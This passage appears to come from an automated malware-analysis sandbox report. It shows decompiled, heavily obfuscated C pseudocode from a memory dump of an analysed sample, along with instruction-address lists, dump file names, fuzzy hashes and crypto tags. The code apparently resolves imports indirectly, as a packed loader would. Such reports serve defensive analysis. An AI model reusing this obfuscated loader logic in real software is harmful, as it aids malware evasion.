					 *(_t283 - 0xc) =  *(_t283 - 0xc) + _t177;
					if( *(_t190 + 0x4184ef) == 0) {
						 *_t288 =  *(_t190 + 0x418127);
						_t244 =  *_t288;
						 *_t288 =  *(_t190 + 0x4182f7);
						_t288[1] =  *(_t190 + 0x4185f7);
						_t276 = _t262;
						_t278 =  *_t288;
						 *_t288 =  *(_t190 + 0x41827f);
						_t177 =  *((intOrPtr*)(_t190 + 0x45d048))(_t288, _t276, _t262, _t244, _t197);
						 *(_t190 + 0x4184ef) =  *(_t190 + 0x4184ef) & 0x00000000;
						 *(_t190 + 0x4184ef) =  *(_t190 + 0x4184ef) | _t278 ^  *_t288 | _t177;
						_t262 = _t278;
					}
					 *_t93 =  *((intOrPtr*)(_t244 + 0xc));
					_t196 =  *(_t283 - 0x10);
					if( *(_t190 + 0x418334) == 0) {
						 *_t288 =  *_t288 ^ _t190;
						 *_t288 =  *_t288 + _t196;
						_t211 =  *_t288;
						 *_t288 =  *(_t190 + 0x41838d);
						_t288[1] =  *(_t190 + 0x4185af);
						_t244 = _t244;
						_t283 =  *_t288;
						 *_t288 =  *(_t190 + 0x418410);
						_t177 =  *((intOrPtr*)(_t190 + 0x45d03c))(_t177, _t196, _t190);
						 *(_t283 - 0x10) = _t211;
						 *(_t190 + 0x418334) =  *(_t190 + 0x418334) & 0x00000000;
						 *(_t190 + 0x418334) =  *(_t190 + 0x418334) ^ (_t211 & 0x00000000 | _t177);
						_t196 = _t283;
					}
					_t197 = _t196 +  *(_t283 + 8);
					if( *(_t190 + 0x418474) == 0) {
						 *_t288 =  *_t288 & 0x00000000;
						 *_t288 =  *_t288 + _t197;
						_t177 =  *((intOrPtr*)(_t190 + 0x45d020))();
						 *(_t190 + 0x418474) =  *(_t190 + 0x418474) & 0x00000000;
						 *(_t190 + 0x418474) =  *(_t190 + 0x418474) | _t218 -  *_t288 ^ _t177;
						_t218 = _t218;
						_t197 = _t218;
					}
					_t263 = _t262 +  *(_t283 + 8);
					if( *(_t190 + 0x418020) == 0) {
						 *_t288 =  *_t288 - _t177;
						 *_t288 = _t197;
						 *_t288 =  *(_t190 + 0x418493);
						_t218 =  *_t288;
						 *_t288 =  *(_t190 + 0x418507);
						 *(_t283 - 0x10) =  *(_t283 - 0x10) & 0x00000000;
						 *_t288 =  *_t288 + _t190;
						 *_t288 =  *_t288 & 0x00000000;
						 *_t288 =  *_t288 ^ _t190;
						_t186 =  *((intOrPtr*)(_t190 + 0x45d044))( *(_t283 - 0x10),  *_t288, _t218, _t177);
						 *(_t283 - 0x10) = _t244;
						 *(_t190 + 0x418020) =  *(_t190 + 0x418020) & 0x00000000;
						 *(_t190 + 0x418020) =  *(_t190 + 0x418020) | _t244 ^  *(_t283 - 0x10) | _t186;
						_t244 =  *(_t283 - 0x10);
						_t197 = _t218;
					}
					 *_t288 = _t197;
					_t178 =  *((intOrPtr*)(_t190 + 0x45d00c))( *(_t283 - 0x10));
					 *(_t283 - 8) =  *(_t283 - 8) & 0x00000000;
					 *(_t283 - 8) =  *(_t283 - 8) ^ (_t190 -  *_t288 | _t178);
					_t190 = _t190;
					do {
						if(( *_t263 & 0x80000000) != 0) {
							_t288[1] =  *_t263;
							_t220 = _t218;
							 *_t152 = _t244;
							 *(_t283 - 4) =  *(_t283 - 4) & 0x0000ffff;
						} else {
							 *(_t283 - 0x10) = 0;
							_push( *(_t283 - 0x10));
							 *_t288 =  *_t288 + _t263;
							_t227 = _t218;
							 *(_t283 - 0x10) = _t227;
							 *(_t283 - 4) =  *(_t283 - 4) & 0x00000000;
							 *(_t283 - 4) =  *(_t283 - 4) ^ _t227 ^  *(_t283 - 0x10) ^  *_t263 +  *(_t283 + 8) + 0x00000002;
							_t220 =  *(_t283 - 0x10);
							_pop(_t263);
						}
						 *_t156 =  *(_t283 - 4);
						_t179 =  *(_t283 - 0x10);
						_t288[1] =  *(_t283 - 4);
						_t222 = _t220;
						 *(_t283 - 0x10) = _t222;
						_t218 =  *(_t283 - 0x10);
						 *_t288 =  *_t288 ^ _t283;
						 *_t288 =  *_t288 + (_t179 & 0x00000000 | _t222 & 0x00000000 |  *(_t283 - 8));
						_t182 =  *((intOrPtr*)(_t190 + 0x45d008))(_t283, _t244);
						_push( *(_t283 - 0x10));
						 *_t288 = _t263;
						_t265 = _t263 & 0x00000000 ^ (_t244 & 0x00000000 |  *(_t283 - 0xc));
						_t244 = _t244;
						 *(_t283 - 0x10) = _t197;
						 *_t265 =  *_t265 & 0x00000000;
						 *_t265 =  *_t265 | _t197 & 0x00000000 ^ _t182;
						_t197 =  *(_t283 - 0x10);
						_pop(_t266);
						 *_t288 = 4;
						_t171 = _t244;
						_t263 = _t266 + _t171;
						 *(_t283 - 0xc) =  *(_t283 - 0xc) + _t171;
					} while ( *_t263 != 0);
					_t244 = _t244 + 0x14;
					_t283 = _t283;
				} while ( *_t244 != 0 ||  *(_t244 + 0x10) != 0);
				_push(_t263);
				return _t171 ^ _t171;
			}

0x024c237b
0x024c237b
0x024c2380
0x024c2383
0x024c2389
0x024c2391
0x024c2398
0x024c239e
0x024c23a1
0x024c23ae
0x024c23b0
0x024c23b6
0x024c23bd
0x024c23c3
0x024c23c3
0x024c23c6
0x024c23d0
0x024c23d2
0x024c23d8
0x024c23e0
0x024c23e7
0x024c23ed
0x024c23ed
0x024c23f0
0x024c23f3
0x024c2498
0x024c249f
0x024c24a1
0x024c24a9
0x024c24b3
0x024c24bf
0x024c24bf
0x024c24c9
0x024c24c9
0x024c24cc
0x024c24d2
0x024c24da
0x024c24e1
0x024c24e7
0x024c24e7
0x024c23f9
0x024c2400
0x024c2402
0x024c2408
0x024c240f
0x024c2415
0x024c2415
0x024c2418
0x024c2424
0x024c2426
0x024c2430
0x024c243a
0x024c243e
0x024c2440
0x024c2444
0x024c244f
0x024c2453
0x024c245b
0x024c245b
0x024c245e
0x024c246a
0x024c2471
0x024c2477
0x024c2477
0x024c2478
0x024c24ea
0x024c24ee
0x024c24ee
0x024c24f8
0x024c24fa
0x024c2502
0x024c2509
0x024c250f
0x024c250f
0x024c2510
0x024c251a
0x024c251c
0x024c2524
0x024c252b
0x024c2531
0x024c2531
0x024c253c
0x024c253e
0x024c2546
0x024c2549
0x024c254d
0x024c2550
0x024c2556
0x024c255d
0x024c2563
0x024c2566
0x024c2566
0x024c2567
0x024c2571
0x024c257a
0x024c2584
0x024c2584
0x024c258f
0x024c2593
0x024c259b
0x024c259b
0x024c259f
0x024c25ab
0x024c25b2
0x024c25b8
0x024c25b8
0x024c25bc
0x024c25c2
0x024c25ca
0x024c25cd
0x024c25d0
0x024c25da
0x024c25da
0x024c25e5
0x024c25e9
0x024c25f1
0x024c25f1
0x024c25f4
0x024c25fa
0x024c2602
0x024c2609
0x024c2612
0x024c2612
0x024c2613
0x024c261d
0x024c2620
0x024c2624
0x024c2627
0x024c2633
0x024c263a
0x024c2640
0x024c2641
0x024c2641
0x024c2642
0x024c264c
0x024c264f
0x024c2652
0x024c265c
0x024c2666
0x024c2666
0x024c2669
0x024c2670
0x024c2674
0x024c2678
0x024c267b
0x024c2681
0x024c2689
0x024c2690
0x024c2696
0x024c2699
0x024c2699
0x024c269d
0x024c26a0
0x024c26ac
0x024c26b0
0x024c26b3
0x024c26b4
0x024c26ba
0x024c26f3
0x024c26f7
0x024c26f8
0x024c26fb
0x024c26bc
0x024c26bc
0x024c26c3
0x024c26c6
0x024c26d9
0x024c26da
0x024c26e2
0x024c26e6
0x024c26e9
0x024c26ec
0x024c26ec
0x024c2705
0x024c270b
0x024c2711
0x024c2715
0x024c2716
0x024c2724
0x024c2728
0x024c272b
0x024c272e
0x024c2734
0x024c2737
0x024c2744
0x024c2746
0x024c2747
0x024c274f
0x024c2752
0x024c2754
0x024c2757
0x024c2759
0x024c2760
0x024c2761
0x024c2763
0x024c2766
0x024c2778
0x024c277a
0x024c277b
0x024c278e
0x024c2799

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b31f65464b9c3f6b06c75afa3e7fbc5f6fe680add954093747edb4d6d8118e
Instruction ID: 8821acd8fd7012685a2ec11989176a8d3eddad65cdcda3f67920a4ca686e740d
Opcode Fuzzy Hash: d3b31f65464b9c3f6b06c75afa3e7fbc5f6fe680add954093747edb4d6d8118e
Instruction Fuzzy Hash: 70C19F32900215DFEB14DF64C8897AEBBF5FF88715F19846EDC889B245DBB81450CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 024C1000, Relevance: .3, Instructions: 279
COMMONCrypto

Download Yara Rule

C-Code - Quality: 30%

			E024C1000(void* __eax, signed int __ebx, signed int __edx, signed int __edi, signed int __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				void* __ecx;
				signed int _t146;
				signed int _t148;
				intOrPtr _t149;
				signed int _t151;
				signed int _t155;
				signed int _t159;
				intOrPtr _t160;
				signed int _t161;
				signed int _t163;
				signed int _t166;
				signed int _t167;
				signed int _t170;
				signed int _t173;
				signed int _t176;
				signed int _t178;
				void* _t179;
				signed int _t182;
				signed int _t186;
				signed int _t196;
				void* _t198;
				signed int _t202;
				signed int _t205;
				signed int _t208;
				signed int _t211;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t220;
				signed int _t237;
				signed int _t239;
				signed int _t242;
				signed int* _t251;

				_t230 = __esi;
				_t214 = __edi;
				_t205 = __edx;
				_t167 = __ebx;
				if( *(__ebx + 0x4184df) == 0) {
					_push(__esi);
					_t237 =  *_t251;
					 *_t251 =  *(__ebx + 0x41811f);
					_push(_t239);
					_v20 =  *((intOrPtr*)(__ebx + 0x41860f));
					_t202 = _t176;
					_push(_t237);
					 *_t251 =  *_t251 ^ _t237;
					 *_t251 = _t202;
					_push(_t237);
					_t230 =  *_t251;
					 *_t251 =  *(__ebx + 0x41822f);
					_push(_t230);
					_v32 =  *((intOrPtr*)(__ebx + 0x418523));
					_t166 =  *((intOrPtr*)(__ebx + 0x45d048))();
					_v12 = _t202;
					 *(__ebx + 0x4184df) = 0 ^ _t166;
					_t176 = _v12;
				}
				_v12 = _v12 & 0x00000000;
				_push(_v12);
				 *_t251 =  *_t251 | _t214;
				if( *(_t167 + 0x4183b0) == 0) {
					_v20 =  *((intOrPtr*)(_t167 + 0x418097));
					_t196 =  *_t251;
					 *_t251 =  *(_t167 + 0x418103);
					_t230 =  *_t251;
					 *_t251 =  *(_t167 + 0x418297);
					_v32 =  *((intOrPtr*)(_t167 + 0x41854a));
					_t198 = _t196;
					_t163 =  *((intOrPtr*)(_t167 + 0x45d044))(_t196, _t230, _v20, _t176);
					 *(_t167 + 0x4183b0) =  *(_t167 + 0x4183b0) & 0x00000000;
					 *(_t167 + 0x4183b0) =  *(_t167 + 0x4183b0) | _t198 -  *_t251 | _t163;
					_t176 = _t198;
				}
				_v12 = _t167;
				_t178 = _t176 & 0x00000000 ^ _t167 - _v12 ^ _a4;
				_t170 = _v12;
				if( *((intOrPtr*)(_t170 + 0x418454)) == 0) {
					_v12 = 0;
					_v20 = _v20 ^ _t178;
					_push( *((intOrPtr*)(_t170 + 0x45d020))(_v12));
					_pop( *_t39);
					_push(_v12);
					_pop( *_t41);
					_pop(_t178);
				}
				_t216 = _t214 & 0x00000000 ^ (_t205 ^ _v20 | _t178);
				_t208 = _t205;
				if( *(_t170 + 0x4183c4) == 0) {
					_t161 =  *((intOrPtr*)(_t170 + 0x45d024))();
					_v20 = _t239;
					 *(_t170 + 0x4183c4) = 0 ^ _t161;
					_t239 = 0;
				}
				_v20 = _v20 ^ _t178;
				_t179 = _t178;
				_t45 = _t170 + 0x41847c; // 0x41847c
				_v20 = _v20 ^ _t230;
				_v20 = _t45;
				_t146 =  *((intOrPtr*)(_t170 + 0x45d018))(_t230);
				 *(_t170 + 0x418527) =  *(_t170 + 0x418527) & 0x00000000;
				 *(_t170 + 0x418527) =  *(_t170 + 0x418527) ^ _t179 -  *_t251 ^ _t146;
				_t182 = _t179;
				 *_t251 = _t170;
				_v8 = _t216;
				_t173 = 0;
				_t52 = _t173 + 0x4182af; // 0x4182af
				_v12 = _v12 & 0x00000000;
				 *_t251 =  *_t251 ^ _t52;
				_t148 =  *((intOrPtr*)(_t173 + 0x45d018))(_v12);
				 *(_t173 + 0x41824b) =  *(_t173 + 0x41824b) & 0x00000000;
				 *(_t173 + 0x41824b) =  *(_t173 + 0x41824b) | _t239 ^  *_t251 ^ _t148;
				_t242 = _t239;
				_push(0);
				if( *((intOrPtr*)(_t173 + 0x418107)) == 0) {
					_t160 =  *((intOrPtr*)(_t173 + 0x45d020))();
					_v32 = _t242;
					 *((intOrPtr*)(_t173 + 0x418107)) = _t160;
					_t242 = 0;
				}
				_t149 =  *((intOrPtr*)(_t173 + 0x45d030))();
				if( *((intOrPtr*)(_t173 + 0x418597)) == 0) {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					_v32 = _v32 + _t182;
					_push(_t242);
					 *_t251 =  *(_t173 + 0x418460);
					_push(_t182);
					_push( *_t251);
					_v40 =  *((intOrPtr*)(_t173 + 0x418623));
					_pop(_t242);
					_v44 =  *((intOrPtr*)(_t173 + 0x4181bb));
					_v48 = _v48 ^ _t216;
					_v48 = _t230;
					_t149 =  *((intOrPtr*)(_t173 + 0x45d044))(_t182);
					 *_t76 = _t149;
					_push(_v12);
					_pop( *_t78);
					_t182 = _t216;
				}
				do {
					_v8 = _v8 - 1;
					if( *((intOrPtr*)(_t173 + 0x4182fb)) == 0) {
						_v12 = 0;
						_v32 = _v32 | _t182;
						_t242 =  *_t251;
						 *_t251 =  *(_t173 + 0x4184ff);
						_v40 =  *((intOrPtr*)(_t173 + 0x418371));
						_v44 =  *((intOrPtr*)(_t173 + 0x41810f));
						_t211 = _t208;
						_v48 =  *((intOrPtr*)(_t173 + 0x41825b));
						_t216 = _t216;
						_t149 =  *((intOrPtr*)(_t173 + 0x45d044))(_t230, _t182, _t242, _v12);
						_v12 = _t211;
						 *((intOrPtr*)(_t173 + 0x4182fb)) = _t149;
						_t208 = _v12;
						_t182 = _t149;
					}
					_v12 = _t230;
					_t218 = _t216 & 0x00000000 | _t230 - _v12 ^ _t182;
					_t230 = _v12;
					if( *(_t173 + 0x4182bf) == 0) {
						_v32 = _v32 ^ _t173;
						_v32 = _v32 | _t182;
						 *_t251 = 2;
						_v40 =  *((intOrPtr*)(_t173 + 0x4180c3));
						_t218 = _v44;
						_v44 =  *((intOrPtr*)(_t173 + 0x418369));
						_t155 =  *((intOrPtr*)(_t173 + 0x45d03c))(_t149, _t242, _t173);
						_v12 = _t230;
						 *(_t173 + 0x4182bf) = 0 ^ _t155;
						_t230 = _v12;
						_t182 = _t218;
					}
					_v12 = _v12 & 0x00000000;
					_v32 = _v32 + _t182;
					_t112 = _t173 + 0x41855a; // 0x41855a
					_v12 = _v12 & 0x00000000;
					 *_t251 =  *_t251 ^ _t112;
					_t151 =  *((intOrPtr*)(_t173 + 0x45d018))(_v12, _v12);
					 *(_t173 + 0x418408) =  *(_t173 + 0x418408) & 0x00000000;
					 *(_t173 + 0x418408) =  *(_t173 + 0x418408) | _t182 ^ _v40 ^ _t151;
					_t186 = _t182;
					_t220 = _t218 + _a4 + 1;
					if( *(_t173 + 0x418047) == 0) {
						 *_t251 = _t186;
						_v40 =  *((intOrPtr*)(_t173 + 0x4182c3));
						_v44 =  *((intOrPtr*)(_t173 + 0x418424));
						_v12 = 0;
						_v48 = _v48 | _t173;
						_t159 =  *((intOrPtr*)(_t173 + 0x45d040))(_v12, _t186, _t151, _t220, _v12);
						_v12 = _t220;
						 *(_t173 + 0x418047) = 0 ^ _t159;
						_t220 = _v12;
						_pop(_t186);
					}
					 *_t251 =  *_t251 - _t230;
					 *_t251 = _t186;
					_t173 = _t173;
					 *((intOrPtr*)(_t173 + 0x45d038))(_t230);
					_push((_t220 + _a8 | _a4) + 1);
					_t216 = _v40;
					_v40 = _v8;
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					_v44 = _v44 | _t216;
					_v48 = _a8;
					_t208 = _t208;
					_t149 = E024C6424(_t173, _t186, _t216, _t230);
					_t182 = _t230;
				} while (_v8 != 0);
				return 0;
			}

0x024c1000
0x024c1000
0x024c1000
0x024c1000
0x024c100d
0x024c100f
0x024c1016
0x024c1016
0x024c1019
0x024c1021
0x024c1025
0x024c1026
0x024c1027
0x024c102a
0x024c102d
0x024c1034
0x024c1034
0x024c1037
0x024c103f
0x024c1044
0x024c104a
0x024c1051
0x024c1057
0x024c1057
0x024c105a
0x024c105e
0x024c1061
0x024c106b
0x024c1074
0x024c107e
0x024c107e
0x024c1088
0x024c1088
0x024c1093
0x024c1097
0x024c1098
0x024c10a4
0x024c10ab
0x024c10b1
0x024c10b1
0x024c10b2
0x024c10be
0x024c10c0
0x024c10ca
0x024c10cc
0x024c10d6
0x024c10df
0x024c10e0
0x024c10e3
0x024c10e6
0x024c10ec
0x024c10ec
0x024c10f6
0x024c10f8
0x024c1100
0x024c1102
0x024c110a
0x024c1111
0x024c1117
0x024c1117
0x024c1119
0x024c111c
0x024c111d
0x024c1124
0x024c1127
0x024c112a
0x024c1136
0x024c113d
0x024c1143
0x024c1146
0x024c114d
0x024c1150
0x024c1151
0x024c1157
0x024c115e
0x024c1161
0x024c116d
0x024c1174
0x024c117a
0x024c117b
0x024c1184
0x024c1186
0x024c118e
0x024c1195
0x024c119b
0x024c119b
0x024c119c
0x024c11a9
0x024c11ab
0x024c11af
0x024c11b2
0x024c11b5
0x024c11bc
0x024c11bf
0x024c11c0
0x024c11c7
0x024c11cb
0x024c11d3
0x024c11d7
0x024c11da
0x024c11dd
0x024c11e4
0x024c11e7
0x024c11ea
0x024c11f0
0x024c11f0
0x024c11f1
0x024c11f1
0x024c11fb
0x024c11fd
0x024c1207
0x024c1211
0x024c1211
0x024c121b
0x024c1226
0x024c122a
0x024c1233
0x024c1237
0x024c1238
0x024c123e
0x024c1245
0x024c124b
0x024c124e
0x024c124e
0x024c124f
0x024c125a
0x024c125c
0x024c1266
0x024c1269
0x024c126c
0x024c1270
0x024c127e
0x024c1288
0x024c1288
0x024c128b
0x024c1291
0x024c1298
0x024c129e
0x024c12a1
0x024c12a1
0x024c12a5
0x024c12ac
0x024c12af
0x024c12b5
0x024c12bc
0x024c12bf
0x024c12cb
0x024c12d2
0x024c12d9
0x024c12da
0x024c12e2
0x024c12e7
0x024c12f2
0x024c12fe
0x024c1301
0x024c130b
0x024c130e
0x024c1314
0x024c131b
0x024c1321
0x024c1324
0x024c1324
0x024c1326
0x024c1329
0x024c1337
0x024c1339
0x024c133f
0x024c1343
0x024c1343
0x024c1346
0x024c134a
0x024c134d
0x024c1355
0x024c1359
0x024c135a
0x024c135f
0x024c1360
0x024c1371

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4342e90b92e638b973889a9d05bcbe9378d07ee4f75416b9680d699ffb522fa4
Instruction ID: 0942cfe20eddcc64c6840925064ae3c31d2442e28a9c579f06c02a7fc17bd4f8
Opcode Fuzzy Hash: 4342e90b92e638b973889a9d05bcbe9378d07ee4f75416b9680d699ffb522fa4
Instruction Fuzzy Hash: 2EC1AD72808208EFEB159F64C8897AEBBF5FF48714F15409EEC889E246DB741590CB68

Uniqueness

Uniqueness Score: -1.00%

Function 024C247B, Relevance: .3, Instructions: 254
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E024C247B(void* __ecx, signed int __edx, signed int __edi) {
				signed int _t153;
				signed int _t157;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				signed int _t164;
				void* _t166;
				signed int _t168;
				signed int _t169;
				signed int _t172;
				void* _t178;
				signed int _t179;
				signed int _t187;
				signed int _t193;
				signed int _t197;
				signed int _t199;
				signed int _t201;
				signed int _t206;
				void* _t216;
				signed int _t218;
				signed int _t221;
				signed int _t233;
				void* _t236;
				signed int _t237;
				signed int _t239;
				void* _t240;
				void* _t250;
				signed int _t252;
				signed int _t255;
				signed int* _t260;

				_t221 = __edi;
				_t197 = __edx;
				_t172 = 0x418087;
				 *((intOrPtr*)(_t255 + 0x13)) =  *((intOrPtr*)(_t255 + 0x13)) + __edx;
				_t153 =  *0x008750A3();
				 *_t4 = _t153;
				 *0x0083010E =  *(_t255 - 0x10);
				while(1) {
					L7:
					 *_t260 = _t153;
					_t233 = 0 ^  *_t221;
					_t153 = 0;
					if( *(_t172 + 0x41816b) == 0) {
						_t260[1] =  *(_t172 + 0x418487);
						_t197 =  *_t260;
						 *_t260 =  *(_t172 + 0x418338);
						_t187 =  *_t260;
						 *_t260 =  *(_t172 + 0x4183ec);
						_t153 =  *((intOrPtr*)(_t172 + 0x45d03c))(_t179, _t197, _t153, _t233);
						 *(_t255 - 0x10) = _t187;
						 *(_t172 + 0x41816b) =  *(_t172 + 0x41816b) & 0x00000000;
						 *(_t172 + 0x41816b) =  *(_t172 + 0x41816b) | _t187 ^  *(_t255 - 0x10) ^ _t153;
						_t179 =  *(_t255 - 0x10);
					}
					while(1) {
						_push(_t153);
						_t157 =  *_t260;
						 *_t260 =  *(_t221 + 0x10);
						if( *(_t172 + 0x4185cb) == 0) {
							_t157 =  *((intOrPtr*)(_t172 + 0x45d024))();
							 *_t260 = _t221;
							 *(_t172 + 0x4185cb) = 0 ^ _t157;
							_t221 = 0;
						}
						_pop( *_t48);
						if( *(_t172 + 0x418273) == 0) {
							_t157 =  *((intOrPtr*)(_t172 + 0x45d020))();
							 *_t260 = _t179;
							 *(_t172 + 0x418273) = _t157;
							_t179 = 0;
						}
						_t159 = _t157 & 0x00000000 | _t233 & 0x00000000 ^  *(_t255 + 8);
						_t236 = _t233;
						if( *(_t172 + 0x418203) == 0) {
							 *_t260 =  *_t260 & 0x00000000;
							 *_t260 =  *_t260 | _t159;
							_t169 =  *((intOrPtr*)(_t172 + 0x45d020))();
							 *(_t255 - 0x10) = _t221;
							 *(_t172 + 0x418203) = 0 ^ _t169;
							_t221 =  *(_t255 - 0x10);
							_t159 = _t221;
						}
						 *(_t255 - 0xc) =  *(_t255 - 0xc) + _t159;
						if( *(_t172 + 0x4184ef) == 0) {
							 *_t260 =  *(_t172 + 0x418127);
							_t221 =  *_t260;
							 *_t260 =  *(_t172 + 0x4182f7);
							_t260[1] =  *(_t172 + 0x4185f7);
							_t250 = _t236;
							_t252 =  *_t260;
							 *_t260 =  *(_t172 + 0x41827f);
							_t159 =  *((intOrPtr*)(_t172 + 0x45d048))(_t260, _t250, _t236, _t221, _t179);
							 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) & 0x00000000;
							 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) | _t252 ^  *_t260 | _t159;
							_t236 = _t252;
						}
						 *_t75 =  *((intOrPtr*)(_t221 + 0xc));
						_t178 =  *(_t255 - 0x10);
						if( *(_t172 + 0x418334) == 0) {
							 *_t260 =  *_t260 ^ _t172;
							 *_t260 =  *_t260 + _t178;
							_t193 =  *_t260;
							 *_t260 =  *(_t172 + 0x41838d);
							_t260[1] =  *(_t172 + 0x4185af);
							_t221 = _t221;
							_t255 =  *_t260;
							 *_t260 =  *(_t172 + 0x418410);
							_t159 =  *((intOrPtr*)(_t172 + 0x45d03c))(_t159, _t178, _t172);
							 *(_t255 - 0x10) = _t193;
							 *(_t172 + 0x418334) =  *(_t172 + 0x418334) & 0x00000000;
							 *(_t172 + 0x418334) =  *(_t172 + 0x418334) ^ (_t193 & 0x00000000 | _t159);
							_t178 = _t255;
						}
						_t179 = _t178 +  *(_t255 + 8);
						if( *(_t172 + 0x418474) == 0) {
							 *_t260 =  *_t260 & 0x00000000;
							 *_t260 =  *_t260 + _t179;
							_t159 =  *((intOrPtr*)(_t172 + 0x45d020))();
							 *(_t172 + 0x418474) =  *(_t172 + 0x418474) & 0x00000000;
							 *(_t172 + 0x418474) =  *(_t172 + 0x418474) | _t197 -  *_t260 ^ _t159;
							_t197 = _t197;
							_t179 = _t197;
						}
						_t237 = _t236 +  *(_t255 + 8);
						if( *(_t172 + 0x418020) == 0) {
							 *_t260 =  *_t260 - _t159;
							 *_t260 = _t179;
							 *_t260 =  *(_t172 + 0x418493);
							_t197 =  *_t260;
							 *_t260 =  *(_t172 + 0x418507);
							 *(_t255 - 0x10) =  *(_t255 - 0x10) & 0x00000000;
							 *_t260 =  *_t260 + _t172;
							 *_t260 =  *_t260 & 0x00000000;
							 *_t260 =  *_t260 ^ _t172;
							_t168 =  *((intOrPtr*)(_t172 + 0x45d044))( *(_t255 - 0x10),  *_t260, _t197, _t159);
							 *(_t255 - 0x10) = _t221;
							 *(_t172 + 0x418020) =  *(_t172 + 0x418020) & 0x00000000;
							 *(_t172 + 0x418020) =  *(_t172 + 0x418020) | _t221 ^  *(_t255 - 0x10) | _t168;
							_t221 =  *(_t255 - 0x10);
							_t179 = _t197;
						}
						 *_t260 = _t179;
						_t160 =  *((intOrPtr*)(_t172 + 0x45d00c))( *(_t255 - 0x10));
						 *(_t255 - 8) =  *(_t255 - 8) & 0x00000000;
						 *(_t255 - 8) =  *(_t255 - 8) ^ (_t172 -  *_t260 | _t160);
						_t172 = _t172;
						do {
							L24:
							if(( *_t237 & 0x80000000) != 0) {
								_t260[1] =  *_t237;
								_t199 = _t197;
								 *_t134 = _t221;
								 *(_t255 - 4) =  *(_t255 - 4) & 0x0000ffff;
							} else {
								 *(_t255 - 0x10) = 0;
								_push( *(_t255 - 0x10));
								 *_t260 =  *_t260 + _t237;
								_t206 = _t197;
								 *(_t255 - 0x10) = _t206;
								 *(_t255 - 4) =  *(_t255 - 4) & 0x00000000;
								 *(_t255 - 4) =  *(_t255 - 4) ^ _t206 ^  *(_t255 - 0x10) ^  *_t237 +  *(_t255 + 8) + 0x00000002;
								_t199 =  *(_t255 - 0x10);
								_pop(_t237);
							}
							 *_t138 =  *(_t255 - 4);
							_t161 =  *(_t255 - 0x10);
							_t260[1] =  *(_t255 - 4);
							_t201 = _t199;
							 *(_t255 - 0x10) = _t201;
							_t197 =  *(_t255 - 0x10);
							 *_t260 =  *_t260 ^ _t255;
							 *_t260 =  *_t260 + (_t161 & 0x00000000 | _t201 & 0x00000000 |  *(_t255 - 8));
							_t164 =  *((intOrPtr*)(_t172 + 0x45d008))(_t255, _t221);
							_push( *(_t255 - 0x10));
							 *_t260 = _t237;
							_t239 = _t237 & 0x00000000 ^ (_t221 & 0x00000000 |  *(_t255 - 0xc));
							_t221 = _t221;
							 *(_t255 - 0x10) = _t179;
							 *_t239 =  *_t239 & 0x00000000;
							 *_t239 =  *_t239 | _t179 & 0x00000000 ^ _t164;
							_t179 =  *(_t255 - 0x10);
							_pop(_t240);
							 *_t260 = 4;
							_t153 = _t221;
							_t237 = _t240 + _t153;
							 *(_t255 - 0xc) =  *(_t255 - 0xc) + _t153;
						} while ( *_t237 != 0);
						_t221 = _t221 + 0x14;
						_t255 = _t255;
						if( *_t221 != 0 ||  *(_t221 + 0x10) != 0) {
							if( *_t221 != 0) {
								goto L7;
							}
							if( *(_t172 + 0x418420) == 0) {
								_t153 =  *((intOrPtr*)(_t172 + 0x45d024))();
								 *(_t255 - 0x10) = _t179;
								 *(_t172 + 0x418420) = 0 ^ _t153;
								_t179 =  *(_t255 - 0x10);
							}
							 *(_t255 - 0x10) = _t172;
							_t233 = _t237 & 0x00000000 ^ _t172 -  *(_t255 - 0x10) ^  *(_t221 + 0x10);
							_t172 =  *(_t255 - 0x10);
							if( *(_t172 + 0x41812f) == 0) {
								_t260[1] =  *(_t172 + 0x418033);
								_t166 = _t153;
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 + _t166;
								_t260[1] =  *(_t172 + 0x41813b);
								_t216 = _t197;
								_t218 =  *_t260;
								 *_t260 =  *(_t172 + 0x4182eb);
								_t153 =  *((intOrPtr*)(_t172 + 0x45d044))(_t216, _t233, _t172, _t153);
								 *(_t172 + 0x41812f) =  *(_t172 + 0x41812f) & 0x00000000;
								 *(_t172 + 0x41812f) =  *(_t172 + 0x41812f) ^ _t218 ^  *_t260 ^ _t153;
								_t197 = _t218;
							}
							_push(_t153);
							_t157 =  *_t260;
							 *_t260 =  *(_t221 + 0x10);
							if( *(_t172 + 0x4185cb) == 0) {
								_t157 =  *((intOrPtr*)(_t172 + 0x45d024))();
								 *_t260 = _t221;
								 *(_t172 + 0x4185cb) = 0 ^ _t157;
								_t221 = 0;
							}
							_pop( *_t48);
							if( *(_t172 + 0x418273) == 0) {
								_t157 =  *((intOrPtr*)(_t172 + 0x45d020))();
								 *_t260 = _t179;
								 *(_t172 + 0x418273) = _t157;
								_t179 = 0;
							}
							_t159 = _t157 & 0x00000000 | _t233 & 0x00000000 ^  *(_t255 + 8);
							_t236 = _t233;
							if( *(_t172 + 0x418203) == 0) {
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 | _t159;
								_t169 =  *((intOrPtr*)(_t172 + 0x45d020))();
								 *(_t255 - 0x10) = _t221;
								 *(_t172 + 0x418203) = 0 ^ _t169;
								_t221 =  *(_t255 - 0x10);
								_t159 = _t221;
							}
							 *(_t255 - 0xc) =  *(_t255 - 0xc) + _t159;
